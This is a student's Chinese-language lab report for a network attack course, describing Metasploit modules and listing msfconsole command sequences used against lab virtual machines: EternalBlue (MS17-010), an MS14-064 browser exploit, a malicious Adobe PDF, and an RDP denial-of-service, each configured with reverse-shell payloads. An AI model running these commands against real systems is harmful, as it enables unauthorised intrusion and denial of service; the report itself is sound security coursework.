2018-2019-2 20165335『网络对抗技术』Exp5:MSF基础应用

    主动攻击的实践: ms17_010(成功)

    浏览器攻击的实践:ms14_064(成功)

    客户端攻击的实践:adobe reader PDF的攻击(成功)

    运用辅助模块的实践:VNC弱口令破解/绕过(失败)RDP远程桌面漏洞(成功 )使用  wmap扫描(唯一)

 

一.msf的基本组成以及常用的指令介绍

msf的基本模块以及构成

在kali中msf的所在路径为usr/share/metasploit-framework/,在目录下有数据库文件,模块以及其他的msf组件 msfupdate可以更新版本

exploits模块:实现系统漏洞进行攻击得操作:

使用cat指令,可以看具体的代码(cat 漏洞名)

exploit相当于是一个攻击得流程,利用漏洞,而payload是实际在机器中执行得指令/代码。

payload中有三类:

single中放着的是要执行得所有的payload都放在single中

stager计算机内存有限的时候,放一个较小得建立连接的

stages用stager建立连接后,下载后续payload

Auxiliary模块:提供辅助功能,信息搜集,指纹探测扫描等模块其中,encoders模块用于编码,加密,躲避检查

在msfconsole的用户接口下:

connect命令,可以实现监听,建立UDP,TCP连接的功能,并支持SSL协议

show命令,查看msf提供的那些功能,可以实现些什么 

      show option:查看配置信息

search命令可以使用关键词搜索要使用得模块,代码等,也可以在某一个范围中进行搜索,可以根据反馈得路径找到我们想要的模块c,比如search cve:

      2015可以搜索2015年的漏洞,可以方便定位我们想要的模块

info可以查看基本信息,可以看到关于该漏洞得详细说明,使用目标

check命令可以看目标机器是否存在这个漏洞

 db_namp IP命令可以实现对目标IP的一个扫描,扫描的结果和nmap相同,扫描后的结果都保存在数据库database.yml中(hosts,services,vulns等查看数据库中的信息)

set指令设置选项 unset取消当前的设置

运行该模块得指令:run exploit

sessions指令可以看到当前已经建立的连接,拿到shell,-i参数可以进入shell

load指令可以使用外部的插件,像什么openvas,Nessus(漏洞扫描)什么的都可以使用

loadpath可以运行我们自己指定得目录下的模块,可以将外部的模块考进来,然后载入运行就可以了

route指令可以指定session路由路线,去攻击内网中的其他机器

meterpreter 一种特殊的shell,相比于一般的命令行的shell,可以做到更多的事情,完成更多的事情,避免作更多的手工操作,方便后渗透测试,有些是完全基于dll写的,注入系统合法进程,不写在硬盘中。

二.实践过程记录:

 攻击客户端的实践:在win sp3环境下使用 exploit/windows/fileformat/adobe_utilprintf 模块:

首先,先配置模块需要的参数,设置完成后运行:

use exploit/windows/fileformat/adobe_utilprintfset payload meterpreter/reverse_tcp 
set RHOSTS 192.168.171.143
run  

 

 

在设立监听的模块:

最后,将生成的PDF文件放到目标机器中运行:

...卡住了,好吧,不过还是运行起来了。

在查看主机情况,发现获得shell

辅助模块应用:

VNC弱口令破解

   scanner/vnc/vnc_none_auth模块用于查看是否能够绕过口令直接进入系统

扫描并没有发现有漏洞:

  RDP远程桌面漏洞

 使用dos/windows/rdp/ms12_020_maxchannelids模块可以利用RDP漏洞进行dos攻击:

 先要打开,打开允许远程桌面的服务:

使用模块scanner/rdp/ms12_020_check扫描主机是否有漏洞:

那么试试利用执行模块攻击下试试:

系统存在该漏洞,并能够施行dos拒绝服务攻击。

WMAP模块的使用:

  先加载插件:load wamp

  在使用 wmap_sites -a 设定扫描的目标

  使用wmap_targets 设置目标:

   wmap_run -h列举一下模块

  wmap_run -t 运行

 

 攻击浏览器的实践:windows/browser/ms14_064_ole_code_execution模块实现浏览器攻击:

先使用模块并配置模块:

nmap --script=vuln 192.168.171.143 
use windows/browser/ms14_064_ole_code_execution
set payload windows/meterpreter/reverse_tcp 
set LHOST 192.168.171.142
run   

 

  然后目标机器打开网站:

  然后获得shell,连接成功:

 主动攻击:windows/smb/ms17_010_eternalblue模块攻击win7 虚拟机

nmap --script=vuln 192.168.171.143 扫描漏洞
use exploit/windows/smb/ms17_010_eternalblue    
set payload generic/shell_reverse_tcp 
set LHOST 192.168.171.142
set RHOSTS 192.168.171.143
run            

 三.基础问题回答与实践体会:

 用自己的话解释什么是exploit,payload,encode

  exploit:实现系统漏洞攻击,负责将payload的代码送到受控主机上

  payload:实际干坏事的部分

  encode:编码,防止干坏事被发现,做到免杀等

 实践总结与体会:

  发现要攻击一台主机,首先是要保证漏洞没有被打补丁,,这就需要保证使用的漏洞比较新,再有就是感觉的基础知识的不足,在实践过程中,发现很多的模块像SMB,SSH,就看不懂到底是一个什么样的过程,有很多的车扫描知识nmap,sniffner,这些都是学过的东西,然而由于学的很菜,实际应用上就出了很多问题,还是要不断学习吧。

四,距离实战的距离:

  首先就是基础知识不足,很多知识不了解就很难受,现在只会用一些最基础,最简单的内容,很low,实用性也很差,使用的模块都是多年以前的,需要补充新知识。

  还有就是后渗透测试的不完善,我们可以进入一台主机后,做的事情太简单,,可以控制主机做很多事情扩大战果,并没有做到更深入的渗透,我们对攻击后的痕迹处理也不完善,说白了....还是太菜的缘故....

posted @ 2019-04-16 17:35  20165335  阅读(243)  评论(0编辑  收藏  举报